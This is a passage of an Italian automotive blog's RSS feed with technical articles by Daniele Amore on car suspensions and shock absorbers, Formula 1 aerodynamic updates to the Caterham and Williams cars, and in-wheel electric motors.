efficacie per il confort. Sulle vetture moderne si impiegano solamente ammortizzatori idraulici, il cui funzionamento è basato sulla resistenza che il fluido di lavoro,  per la maggior parte olio,  incontra nell&#8217;attraversare fori e condotti calibrati mediante valvole opportunamente tarate.</p>
<p style="text-align: justify;"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/12/schema_ammortizzatore_mono_tubo-e1418459563271.jpg"><img decoding="async" class="alignleft size-full wp-image-47373" src="https://www.giornalemotori.com/wp-content/uploads//2014/12/schema_ammortizzatore_mono_tubo-e1418459563271.jpg" alt="schema_ammortizzatore_mono_tubo" width="500" height="500" title="Alla scoperta delle sospensioni (parte II) Schema tipico ed elementi 1118" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/12/schema_ammortizzatore_mono_tubo-e1418459563271.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/12/schema_ammortizzatore_mono_tubo-e1418459563271-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2014/12/schema_ammortizzatore_mono_tubo-e1418459563271-300x300.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a>In sostanza <strong>l&#8217;ammortizzatore</strong> è costituito da un corpo cilindrico formato da due tubi coassiali,cioè uno dentro l&#8217;altro.  Quello interno ha la funzione di cilindro di lavoro che è sempre pieno d&#8217;olio mentre quello esterno è un vero e proprio serbatoio in cui finisce l&#8217;olio di riserva quando l&#8217;ammortizzatore viene sollecitato. Un terzo tubo, esterno agli altri due, ha la funzione protettiva nei confronti dello stelo. Il tubo è chiuso superiormente da una boccola e guarnizione a tenuta d&#8217;olio. Attraverso quest&#8217;ultima scorre lo stelo,  collegato superiormente al telaio e inferiormente allo stantuffo, sul quale sono disposte le valvole di distensione e di compensazione. Nella parte inferiore ci sono delle valvole di compressione e di aspirazione, che permettono lo scambio di olio con il serbatoio di riserva, mentre il corpo cilindrico nel suo insieme è chiuso da un tappo sul quale e posto l&#8217;attacco alla ruota.  Ci sono anche tipologie di sospensioni che vedremo nel dettaglio in seguito dove l&#8217;ammortizzatore funge anche come elemento sterzante, e diventa parte integrante fondamentale del sistema assumendo la funzione di montante. Per queste ragioni la sua costruzione è particolarmente robusta e la sua configurazione più complessa di quella dell’ammortizzatore tradizionale. L&#8217;ammortizzatore oggi più in uso è del tipo a doppio effetto. Ciò vuoi dire che l&#8217;azione smorzante nei confronti della molla si svolge sia quando questa si allunga che quando si contrae. A questi moti fanno riscontro due fasi di funzionamento, la <strong>distensione</strong><strong> </strong>altrimenti detto <b>rimbalzo</b> e la <b>compressione</b> Oggi gli ammortizzatori possono essere controllati nel movimento da sistemi elettronici che ne cambiano la taratura ad ogni metro di percorso che il veicolo compie.</p>
<p style="text-align: justify;"> <a href="https://www.giornalemotori.com/wp-content/uploads//2014/12/347zgno.jpg"><img decoding="async" class="alignleft size-full wp-image-47374" src="https://www.giornalemotori.com/wp-content/uploads//2014/12/347zgno.jpg" alt="347zgno" width="415" height="587" title="Alla scoperta delle sospensioni (parte II) Schema tipico ed elementi 1119" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/12/347zgno.jpg 415w, https://www.giornalemotori.com/wp-content/uploads/2014/12/347zgno-300x424.jpg 300w" sizes="(max-width: 415px) 100vw, 415px" /></a> Nella sospensione insieme all&#8217;ammortizzatore è abbinato un tassello in gomma con smorzamento elastico che ha la funzione di filtrare tutte le vibrazioni che potrebbero essere trasmesse dall&#8217;ammortizzatore alla scocca.  Essendo un elemento elastico non deve compromettere l&#8217;assetto della vettura in tutte le condizioni di lavoro, infatti la sua deformabilità potrebbe anche pregiudicare le geometrie e gli angoli caratteristici della sospensione,  quindi è molto importante nella fase di progettazione definire l&#8217;insieme dello smorzamento idraulico e delle caratteristiche elastiche del tassello in modo da ottimizzare il comfort vettura e da non compromettere la tenuta di strada. Le sollecitazioni di piccola entità sono trasmesse al tassello elastico e le relative vibrazioni sono <strong>assorbite</strong> dal tassello stesso, mentre per spostamenti più elevati interviene l&#8217;ammortizzatore ed il tassello assume la funzione di <strong>filtro</strong> aggiuntivo. In alcuni casi nelle vetture da competizione i tasselli sono di tipo rigido, e i bracci delle sospensioni vengono ancorati al telaio mediante snodi rigidi. Questi penalizzano il confort in quando non assorbono nulla, ma garantiscono un perfetto rispetto delle geometrie che si prefigge il progettista con ottima resta prestazionale. Per addolcire gli urti di fine corsa sugli ammortizzatori vengono impiegati tamponi <strong>limitatori </strong>che grazie ad opportuni specifiche definite in fase di progetto, possono attutire l&#8217;impatto permettendo un irrigidimento progressivo della sospensione. Nelle situazioni più gravose vengono impiegati speciali materiali elastici anziché gomma naturale. Le barre <strong>antirollio</strong> consistono in un collegamento elastico, da qui la loro similitudine con le molle,  tra due sospensioni che si trovano sullo stesso asse, anteriore o posteriore. In sostanza una barra  produce un movimento contrapposto delle sospensioni mediante una torsione della stessa  L&#8217;effetto della barra è quello di offrire una adeguata resistenza al <strong>rollio</strong><strong> </strong>che si genera normalmente in curva sulla sospensione anteriore anche se ci sono casi dove funziona benissimo anche su quella posteriore permettendo anche opportune correzioni a fenomeni di sovra o sottosterzo in curva. In questo caso si chiama <strong>barra di torsione</strong>. Le barre sono montate su appositi supporti elastici in modo che durante la loro rotazione non si generino rumorosità per l&#8217;eccessivo attrito.</p>
<p style="text-align: justify;"><strong>Daniele Amore</strong></p>
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		<title>Guida pratica alla comprensione delle sospensioni auto (parte I)</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Tue, 09 Dec 2014 07:09:30 +0000</pubDate>
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		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Da quando l&#8217;uomo ha cominciato a viaggiare su mezzi di trasporto che non fossero i suoi piedi, ha sempre avuto a che fare con la superficie stradali e delle loro asperità, che si trattasse di una carrozza o di un automobile dei giorni nostri. Per evitare queste sconnessioni creino problemi al veicolo,  le ruote non [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/12/640px-Double_wishbone_suspension-e1418062834505.jpg"><img decoding="async" class="alignnone size-full wp-image-47244" src="https://www.giornalemotori.com/wp-content/uploads//2014/12/640px-Double_wishbone_suspension-e1418062834505.jpg" alt="640px-Double_wishbone_suspension" width="500" height="447" title="Guida pratica alla comprensione delle sospensioni auto (parte I) 1124" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/12/640px-Double_wishbone_suspension-e1418062834505.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/12/640px-Double_wishbone_suspension-e1418062834505-300x268.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a></p>
<p style="text-align: justify">Da quando l&#8217;uomo ha cominciato a viaggiare su mezzi di trasporto che non fossero i suoi piedi, ha sempre avuto a che fare con la superficie stradali e delle loro asperità, che si trattasse di una carrozza o di un automobile dei giorni nostri. Per evitare queste sconnessioni creino problemi al veicolo,  le ruote non devono mai perdere il contatto con il terreno, questo per assicurare anche un adeguato confort per gli occupanti  ed una tenuta di strada che ne garantisce le condizioni di sicurezza in ogni situazione.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/12/800px-Ford_model_t_suspension.triddle-e1418062424648.jpg"><img decoding="async" class="alignleft size-full wp-image-47241" src="https://www.giornalemotori.com/wp-content/uploads//2014/12/800px-Ford_model_t_suspension.triddle-e1418062424648.jpg" alt="800px-Ford_model_t_suspension.triddle" width="500" height="375" title="Guida pratica alla comprensione delle sospensioni auto (parte I) 1125" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/12/800px-Ford_model_t_suspension.triddle-e1418062424648.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/12/800px-Ford_model_t_suspension.triddle-e1418062424648-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2014/12/800px-Ford_model_t_suspension.triddle-e1418062424648-265x198.jpg 265w" sizes="(max-width: 500px) 100vw, 500px" /></a>I Pneumatici sono i primi elementi a contatto con la superficie stradale. Grazie alla loro elasticità garantiscono l&#8217;assorbimento delle asperità di piccolo livello, ma per assorbire tutte le sconnessioni anche quelle più grandi le automobili necessitano di un <strong><em>Sistema di Sospensioni elastiche</em></strong>, ovvero un collegamento <strong><em>non rigido</em></strong> tra la cella abitativa detta cassa e le ruote. La cedevolezza delle sospensioni e la loro elasticità permette di garantire il contatto di tutte le ruote sul manto stradale anche quando sono interessate da condizioni di superficie stradale diversa, come per esempio il caso in cui un&#8217;automobile si trova con una ruota su un marciapiede, con le altre tre che non perdono comunque il contatto con il terreno. La presenza delle sospensioni  ha influenza sul telaio,  producendo un effetto diretto sulla dinamica complessiva del veicolo. Infatti le sospensioni consentono un certo movimento più o meno controllato della scocca ma anche una certa variazione dell&#8217;assetto, ed una variazione degli angoli con cui le ruote hanno contatto con il terreno. Vien da se che la geometria delle sospensioni e la loro taratura influenza la risposta degli pneumatici tutte le condizioni di marcia</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/12/download.jpg"><img decoding="async" class="alignleft size-full wp-image-47242" src="https://www.giornalemotori.com/wp-content/uploads//2014/12/download.jpg" alt="download" width="286" height="176" title="Guida pratica alla comprensione delle sospensioni auto (parte I) 1126"></a>Per comprendere al meglio come funzionano le sospensioni  bisogna spiegare il concetto di <strong><em>Massa sospesa e Massa non sospesa</em></strong>. Indicando con <strong><em>cassa</em></strong> di un veicolo tutto ciò che <strong><em>si trova al di sopra delle sospensioni, </em></strong>in particolare la carrozzeria,  cella abitativa, il motore, passeggeri, l&#8217;insieme di questi elementi viene detta <strong><em>Massa sospesa del veicolo</em></strong>. Di solito si è portati a pensare che la cassa sia un elemento rigido, ma invece il telaio composto da travi di acciaio, allumino o Kevlar, ha sempre una certa flessibilità. Più è controllata questa flessibilità meglio si possono controllare le reazioni che avvengono in un veicolo in curva. Nelle vetture da competizione derivate dalla serie, il rollbar o gabbia di protezione, serve anche a bloccare le flessioni eccessive del telaio in curva.  Gli elementi come ruote,  comprese di cerchio, pneumatico, e la massa completa di freni, portamozzo, ponte rigido, ma anche organi di trasmissioni come i semiassi, e tutto ciò che <em><strong>non</strong></em> fa parte della massa sospesa, prende il nome di  <strong><em>Masse non sospese del veicolo. </em></strong></p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/12/dinamica_veicolo_rollio_beccheggio_imbardata.jpg"><img decoding="async" class="alignleft size-full wp-image-47243" src="https://www.giornalemotori.com/wp-content/uploads//2014/12/dinamica_veicolo_rollio_beccheggio_imbardata.jpg" alt="dinamica_veicolo_rollio_beccheggio_imbardata" width="317" height="250" title="Guida pratica alla comprensione delle sospensioni auto (parte I) 1127" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/12/dinamica_veicolo_rollio_beccheggio_imbardata.jpg 317w, https://www.giornalemotori.com/wp-content/uploads/2014/12/dinamica_veicolo_rollio_beccheggio_imbardata-300x237.jpg 300w" sizes="(max-width: 317px) 100vw, 317px" /></a>L&#8217;ultimo concetto da comprendere sono  i tre movimenti che un veicolo può fare quando viaggia in strada. Il primo movimento detto <strong><em>Imbardata</em></strong> indica la rotazione del veicolo intorno al suo asse verticale. Questa rotazione provoca quello che si chiama sovrasterzo e genera,  nelle peggiori delle ipotesi un testacoda, cioè la rotazione del veicolo su se stesso. Poi c&#8217;è il <strong><em>beccheggio </em></strong>che indica un movimento intorno all&#8217;asse orizzontale del veicolo. Questo movimento avviene in fase di accelerazione quando si abbassa la coda, e in frenata con l&#8217;abbassamento del muso.  Ultimo è il <strong><em>rollio, </em></strong>che indica il movimento intorno all&#8217;asse longitudinale del veicolo. Si tratta delle oscillazioni che si verificano quando si affrontano le curve. Viene da se che la sospensioni hanno il compito di controllare mediante le proprie geometrie e tarature l&#8217;interazione tra questi tre movimenti, per il confort e la tenuta di strada del veicolo. In sostanza il compito delle sospensioni è quello di tenere sotto controllo il trasferimento di carico da un punto ad un altro del veicolo.  Una sospensione quindi deve collegare la ruota e la sua massa di componenti alla cassa mediante una serie di bracci detti <strong><em>cinematismi, </em></strong> elementi elastici, come  <strong><em>molle</em></strong>, ed elementi smorzanti detti <strong><em>ammortizzatori</em></strong><strong><em>.</em></strong>  Considerando che molle e ammortizzatori sono componenti comuni e tutte le tipologie di sospensioni, quello che cambia e che tratteremo approfonditamente nei prossimi capitoli sono le tipologie di cinematismi delle sospensioni. Le due grandi categorie in cui di dividono le sospensioni sono a<strong><em> ruote indipendenti o a ruote interconnesse/ assale rigido</em></strong>. Nei prossimi capitoli andremo ad esaminare le due tipologie e ogni sua variante.</p>
<p style="text-align: justify"><strong>Daniele Amore</strong></p>
<p style="text-align: justify">
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		<title>Il nuovo muso della Caterham CT05</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 28 Aug 2014 12:54:34 +0000</pubDate>
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		<category><![CDATA[Tecnica Auto]]></category>
		<category><![CDATA[Ultimi articoli]]></category>
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					<description><![CDATA[<p>La Caterham nonostante le enormi difficoltà economiche non intende rinunciare a rincorrere un posto nei primi dieci team del mondiale di Fomrula 1, posizione che garantirebbe ossigeno economico anche per la prossima stagione. In Belgio si presenta la scuderia inglese con una nuova veste tecnica per il muso anteriore. In effetti il bizzarro design che [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/08/bel-caterham-nose-e1409169939772.jpg"><img decoding="async" class="alignnone size-full wp-image-43151" src="https://www.giornalemotori.com/wp-content/uploads//2014/08/bel-caterham-nose-e1409169939772.jpg" alt="bel-caterham-nose" width="500" height="400" title="Il nuovo muso della Caterham CT05 1129" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/08/bel-caterham-nose-e1409169939772.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/08/bel-caterham-nose-e1409169939772-300x240.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a></p>
<p style="text-align: justify">La Caterham nonostante le enormi difficoltà economiche non intende rinunciare a rincorrere un posto nei primi dieci team del mondiale di Fomrula 1, posizione che garantirebbe ossigeno economico anche per la prossima stagione. In Belgio si presenta la scuderia inglese con una nuova veste tecnica per il muso anteriore. In effetti il bizzarro design che si è visto in quella zona da inizio stagione non sono non è stata efficacie, ma sembra che sia uno dei colpevoli principali della mancanza di competitività della verde monoposto inglese.  Da come si vede dalla foto in raffronto con il muso che si va a sostituire nella nuova soluzione tecnica si conserva la proboscite nera che c&#8217;era anche prima.</p>
<p style="text-align: justify">La parte alta prima squadrata intorno alla proboscite ora e affusolata aerodinamicamente intorno alla punta in modo da migliorare la penetrazione e il flusso aria che arriva al fondo vettura dalla zona del muso. Nella parte alta dello stesso ormai è sparito pure lo scalino ingrossando in modo notevole il naso della Caterham. Nella zona inferiore del muso invece si nota una sagomatura meno pronunciata e meno spigolosa nella zona dell&#8217;attacco delle sospensioni all&#8217;altezza del triangolo inferiore. Quanto questa modifica ha avuto successo è presto detto dalle impressioni di uno come Lotterer che reduce dalla sua Audi R18 E-Tron nel mondiale WEC, in un impietoso confronto tecnico ha semplicemente detto che la sua vettura da endurance ha molta più velocità e tenuta in curva della Caterham. Non sappiamo se prima della modifica era ancora peggio ma certo questa affermazione di un campione che ha più volte vinto la 24h di Le Mans.</p>
<p><strong>Daniele Amore</strong></p>
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		<title>Williams apre delle branchie sulla pinna del cofano motore</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Thu, 31 Jul 2014 12:23:23 +0000</pubDate>
				<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Dopo due Gran Premi a distanza di una settimana facciamo una piccola panoramica sugli sviluppi che le varie squadre hanno portato in pista sia nell&#8217;appuntamento della Germania che in quello dell&#8217;Ungheria. Cominciamo dalla Williams una delle scuderie che più di tutte ha fatto il salto di qualità raggiungendo con una certa facilità il podio e [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/ger-williams-cooling.jpg"><img decoding="async" class="alignnone size-full wp-image-42500" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/ger-williams-cooling.jpg" alt="ger-williams-cooling" width="500" height="400" title="Williams apre delle branchie sulla pinna del cofano motore 1131" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/ger-williams-cooling.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/ger-williams-cooling-300x240.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a></p>
<p style="text-align: justify">Dopo due Gran Premi a distanza di una settimana facciamo una piccola panoramica sugli sviluppi che le varie squadre hanno portato in pista sia nell&#8217;appuntamento della Germania che in quello dell&#8217;Ungheria. Cominciamo dalla Williams una delle scuderie che più di tutte ha fatto il salto di qualità raggiungendo con una certa facilità il podio e partendo quasi regolarmente alle spalle della Mercedes candidandosi ad essere la terza se non la seconda forza del campionato.</p>
<p style="text-align: justify">Una modifica importante che si è vista in Germania è l&#8217;apertura sulla pinna posteriore del cofano  motore di una serie di aperture per raffreddare meglio la power unit Mercedes. La Williams non è l&#8217;unica che ha utilizzato la pinna aerodinamica del cofano motore come veicolo per far arrivare aria alla unità propulsiva, ma si tratta della prima che ha utilizzato tutta l&#8217;estensione della pinna con una serie molto fitta di aperture a forma di branchie come si vede nella foto superiore.. Una soluzione che argina le restingenti norme sulle aperture che si possono realizzare sulla fiancata, una zona della monoposto fortemente caratterizzata da limiti regolamentari, rispetto al passato dove si vedevano molte prese aria a forma di branchie.</p>
<p style="text-align: justify"><strong>Daniele Amore</strong></p>
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		<title>Il motore elettrico per auto all&#8217;interno delle ruote</title>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Tue, 29 Jul 2014 14:56:19 +0000</pubDate>
				<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
		<category><![CDATA[Tecnica Auto]]></category>
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					<description><![CDATA[<p>Una delle sfide maggiori per i produttori di auto elettriche sarà quella della miniaturizzazione delle componenti. Una delle più importanti sicuramente sono le batterie ma anche il motore ha una importanza fondamentale. Poter disporre di sistemi di propulsione che siano alloggiati nell&#8217;interno dei cerchi ruota in un corpo unico  potrebbe consentire degli schemi di progettazione [&#8230;]</p>
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										<content:encoded><![CDATA[<p style="text-align: center"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/0001A25D.jpg"><img decoding="async" class="alignnone size-full wp-image-42479" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/0001A25D.jpg" alt="????????????????????????????????????" width="500" height="333" title="Il motore elettrico per auto all&#039;interno delle ruote 1137" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/0001A25D.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/0001A25D-300x200.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a></p>
<p style="text-align: justify">Una delle sfide maggiori per i produttori di auto elettriche sarà quella della miniaturizzazione delle componenti. Una delle più importanti sicuramente sono le batterie ma anche il motore ha una importanza fondamentale. Poter disporre di sistemi di propulsione che siano alloggiati nell&#8217;interno dei cerchi ruota in un corpo unico  potrebbe consentire degli schemi di progettazione per guadagnare spazio per i passeggeri e per le batterie.  L&#8217;automobile così come la conosciamo, con l&#8217;utilizzo di questo tipo di propulsore nelle ruote e tutti i comandi di collegamento con le ruote by wyre libera la scocca permettendo nuove frontiere progettuali e nuovo sfruttamento dei volumi interni per una vivibilità sempre maggiore utilizzando meglio al tecnologia che l&#8217;elettrico in futuro può garantire.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/1.jpg"><img decoding="async" class="alignleft size-full wp-image-42480" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/1.jpg" alt="1" width="500" height="375" title="Il motore elettrico per auto all&#039;interno delle ruote 1138" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/1.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/1-300x225.jpg 300w, https://www.giornalemotori.com/wp-content/uploads/2014/07/1-265x198.jpg 265w" sizes="(max-width: 500px) 100vw, 500px" /></a>Ci sono almeno tre società che associati ad altrettanti costruttori di automobili stanno lavorando su questo tema in modo incessante con prototipi interessanti già messi su strada. Una è la  <span style="color: #444444">Protean Electric,  società americana che sta collaborando con la FAW-Volkswagen per un motore elettrico interno alle ruote. Il progetto consiste nell&#8217;utilizzo di un</span> nuovo motore elettrico per auto che  fornisce,  a detta del produttore americano,  più potenza e  coppia abbinato ad una maggiore densità di potenza rispetto al passato. Ogni ruota viene quindi motorizzata con una propria elettronica di controllo istallata  all&#8217;interno del motore che comunica con il veicolo utilizzando il sistema di controllo principale. Le  caratteristiche dei motori Protean sono lo sviluppo di  <strong>75 kW ovvero 100 CV</strong> di potenza di massima. Maggiore densità di coppia per un peso complessivo di 34 kg.  Una maggiore capacità  rigenerante in fase di frenata, che consente  un <strong>recupero fino all&#8217;85%</strong> dell&#8217;energia cinetica disponibile per poi essere immagazzinata in apposite batterie. Il motore elettrico va inserito tranquillamente  all&#8217;interno di una ruota stradale  da 18, una misura ormai ad appannaggio anche di utilitarie.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/0001A25B.jpg"><img decoding="async" class="alignleft size-full wp-image-42481" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/0001A25B.jpg" alt="0001A25B" width="500" height="361" title="Il motore elettrico per auto all&#039;interno delle ruote 1139" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/0001A25B.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/0001A25B-300x217.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a><br />
Un altro costruttore che si è cimentato in questo campo è la Schaeffler Ag che collabora attivamente con la Ford, approntando un prototipo perfettamente funzionante su base Fiesta.  Il sistema della  Schaeffler Ag è denominato come <i>E-Wheel Drive</i> . Il veicolo scelto non è un caso. L&#8217; azienda tedesca ha scelto una compatta per dimostrare la sua efficacia.  La Fiesta <i>E-Wheel Drive</i> è mossa  mediante due Schaeffler <i> E-Wheel</i> che vengono installati nei passaruota posteriori. Tutti i componenti necessari per l&#8217;azionamento del motore, la frenata e il controllo del veicolo come i sistemi di sicurezza, ESP e altri  sono integrati nel gruppo ruota elettrico. All&#8217;interno è compresa anche l&#8217;elettronica di controllo, il sistema frenante, e il raffreddamento tutti all&#8217;interno del  cerchione. I dati tecnici dell&#8217; <i>E-Wheel Drive</i> sono di una potenza massima di circa 40 kW per unità, ed una potenza continua di 2 x 33 kW,  ciò equivale ad una media di  110 e 90 cavalli rispettivamente. L&#8217;unità mozzo ruota viene  raffreddato a liquido, che in questa versione Beta  può sviluppare l&#8217;impressionante valore di coppia pari a 700 Nm.  Rispetto al primo prototipo che usava come base una Opel Corsa,  l&#8217; E-Wheel Beta presenta quindi un aumento di potenza di circa un terzo, così come 75% in più di coppia. La tensione elettrica del convertitore ad alta tensione è 360-420 V. L&#8217;unità mozzo ruota ha un peso totale di 53 kg,  con  un ingombro di 16 litri, il che lo rende collocabile in un cerchio molto più diffuso della concorrente americana con la misura di 16 pollici.</p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/michelin_activeWheel.jpg"><img decoding="async" class="alignleft size-full wp-image-42482" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/michelin_activeWheel.jpg" alt="michelin_activeWheel" width="400" height="396" title="Il motore elettrico per auto all&#039;interno delle ruote 1140" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/michelin_activeWheel.jpg 400w, https://www.giornalemotori.com/wp-content/uploads/2014/07/michelin_activeWheel-150x150.jpg 150w, https://www.giornalemotori.com/wp-content/uploads/2014/07/michelin_activeWheel-300x297.jpg 300w" sizes="(max-width: 400px) 100vw, 400px" /></a>Chi invece fa un deciso passo in avanti su questa tecnologia è la Michelin. Il colosso del pneumatico ha una divisone che esplora tutte le possibilità che il futuro può offrire all&#8217; automotive dal punto di vista della salvaguardia dell&#8217;ambiente. Il progetto Michelin si chiama  <span style="color: #444444">Active Wheel System ed è un sistema dotato di due motori elettrici alloggiati all&#8217;interno della ruota, uno che si occupa della  trazione e la frenata  e un altra unità  per il controllo elettrico delle sospensioni attive. Questa soluzione rende nettamente rivoluzionario il progetto Michelin rispetto ai concorrenti citati sopra. Non c&#8217;è  più infatti nessun  motore sotto il cofano, il sistema di sospensione è completamente diverso da come è inteso sui modelli odierni. Non esiste più nemmeno la classica trasmissione con cambio marcia, differenziale e semiassi per portare movimento alle ruote, tutte le componenti essenziali sono stati integrati nella stessa ruota. </span>Senza motori, trasmissioni e sistemi ausiliari, si lasciano liberi gli spazi che una volta dovevano essere progettati per la sicurezza per assorbimento degli  impatti. Le auto possono essere più piccole, leggere  ed avere uno spazio più funzionale rispetto alle dimensioni esterne  per trasportare più persone e merci. <span style="color: #444444">Tecnicamente  o</span><span style="color: #444444">gni motore  Michelin pesa 42 kg sviluppando  una potenza di 30 kW raffreddato ad acqua per una dimensione simile ad un motorino  per avviamento. Il motore ha una serie di ingranaggi che azionano direttamente il  mozzo. Un secondo motore elettrico invece opera la regolazione delle sospensioni attive tramite una cremagliera e pignone che sostituisce in pieno ed efficacemente  l&#8217;azione di un normale ammortizzatore idraulico.  Insieme, i due motori ruota anteriori sviluppano una potenza di 60 kW (81 CV), che possono toccare un picco fino a 120 kW (163 CV) per brevi istanti.  Una vettura con questa tecnologia dovrebbe coprire il classico  0-100 km in 10 secondi con una velocità massima di 140 km / h.  L&#8217;accordo tra Michelin e  Heuliez Will  prevedono diverse configurazioni del sistema, abbinati a diversi moduli di  batterie agli ioni di litio, che offrirebbe dai 150 ai 400 km di percorrenza. Il sistema Michelin lascerebbe addirittura al cliente la scelta  di utilizzare diversi moduli di batterie a seconda delle esigenze  in un ottica di massima flessibilità.  L&#8217;  Active Wheel è  in grado di recuperare energia in frenata per aumentare la percorrenza dei veicoli. I motori elettrici nelle ruote hanno un efficienza del 90%, rispetto a circa il 15% di efficienza per un veicolo endotermico convenzionale come un utilitaria. </span></p>
<p style="text-align: justify"><a href="https://www.giornalemotori.com/wp-content/uploads//2014/07/Google_Driverless_Car_Tech2.jpg"><img decoding="async" class="alignleft size-full wp-image-42483" src="https://www.giornalemotori.com/wp-content/uploads//2014/07/Google_Driverless_Car_Tech2.jpg" alt="Google_Driverless_Car_Tech2" width="500" height="281" title="Il motore elettrico per auto all&#039;interno delle ruote 1141" srcset="https://www.giornalemotori.com/wp-content/uploads/2014/07/Google_Driverless_Car_Tech2.jpg 500w, https://www.giornalemotori.com/wp-content/uploads/2014/07/Google_Driverless_Car_Tech2-300x169.jpg 300w" sizes="(max-width: 500px) 100vw, 500px" /></a>I costruttori di auto e di sistemi elettrici quindi si stanno dando da fare per avere un veicolo elettrico il più funzionale ed economico possibile sul mercato. Ora il passo sta ai produttori di batterie, che devono trovare sempre nuovi metodi di ricarica veloce per rendere una volta per tutte efficienti le alternative elettiche rispetto alle comode vetture endotermiche.  Una ricaduta sull&#8217;immediato di questa corsa alla miniaturizzazione dei motori elettrici ha portato vantaggi nell&#8217;introduzione di alternatori e motirini di avviamento più efficienti e potenti, soprattutto resistenti per i sistemi di start end stop indispensabili per le attuali vetture ibride. Ormai ci sono costruttori che già usano alternatori a 48v che hanno due velocità con un minicambio all&#8217;interno per gli avviamenti a freddo ed a caldo. Questi alternatori/motori possono essere anche usati come spinta per motori endotermici ai bassi regimi creando una soluzione microibrida. Come sempre è la meccanica classica che mostra i suoi limiti rispetto alla nuova tecnologia. Infatti per far funzionare questo alternatore/motore necessita un impianto elettrico adeguato sia nella potenza che nelle specifiche di sicurezza. Inoltre tutto il comparto delle cinghie e tendicinghia di comando dovono essere riprogettate  con un costo che si rifletterebbe pari pari sulla manutenzione sulle spalle del cliente finale.  Un utilità maggiore invece viene per i sistemi ibridi. Infatti i motori elettrici così rimpiccioliti possono essere usati in diretto collegamento con l&#8217;asse delle ruote non alimentate dal motore termico. In questo modo si ha la possibilità di poter andare sia in modalità elettrica che in modalità ibrida trasformando il veicolo in una trazione integrale intelligente in tutto e per tutto. Si possono eliminare collegamenti meccanici di alberi, differenziali e semiassi che assorbono una quantità enorme di energia. In questo modo i costruttori applicano alla meccanica attuale motori elettrici intanto che la nuova tecnologia sia resa accessibile per costi ed affidabilità per i clienti. La strada è tracciata, indipendente dalla lungimiranza o meno di certi capitani di industria perennemente in ritardo, nessun costruttore può lasciare la via dell&#8217;elettrico. Passando attraverso l&#8217;ibrido le autovetture moderne stanno andando verso una nuova disposizione delle componenti interne, un nuovo modo di intendere l&#8217;auto che già comincia ad affacciarsi con il prototipo Google.</p>
<p style="text-align: center">[youtube]http://www.youtube.com/watch?v=kbyAMuDWkoM[/youtube]</p>
<p style="text-align: center">[youtube]http://www.youtube.com/watch?v=SF4P7uj6mOk[/youtube]</p>
<p style="text-align: center">[youtube]http://www.youtube.com/watch?v=-4ygUCbHjTc[/youtube]</p>
<p>&nbsp;</p>
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		<title>Viaggio nei sistemi di sicurezza per l&#8217;auto, L&#8217;ESP e le sue derivazioni</title>
		<link>https://www.giornalemotori.com/2014/07/22/viaggio-sistemi-sicurezza-per-lauto-lesp-sue-derivazioni/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=viaggio-sistemi-sicurezza-per-lauto-lesp-sue-derivazioni</link>
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		<dc:creator><![CDATA[Daniele Amore]]></dc:creator>
		<pubDate>Tue, 22 Jul 2014 14:33:55 +0000</pubDate>
				<category><![CDATA[Auto]]></category>
		<category><![CDATA[La tecnica]]></category>
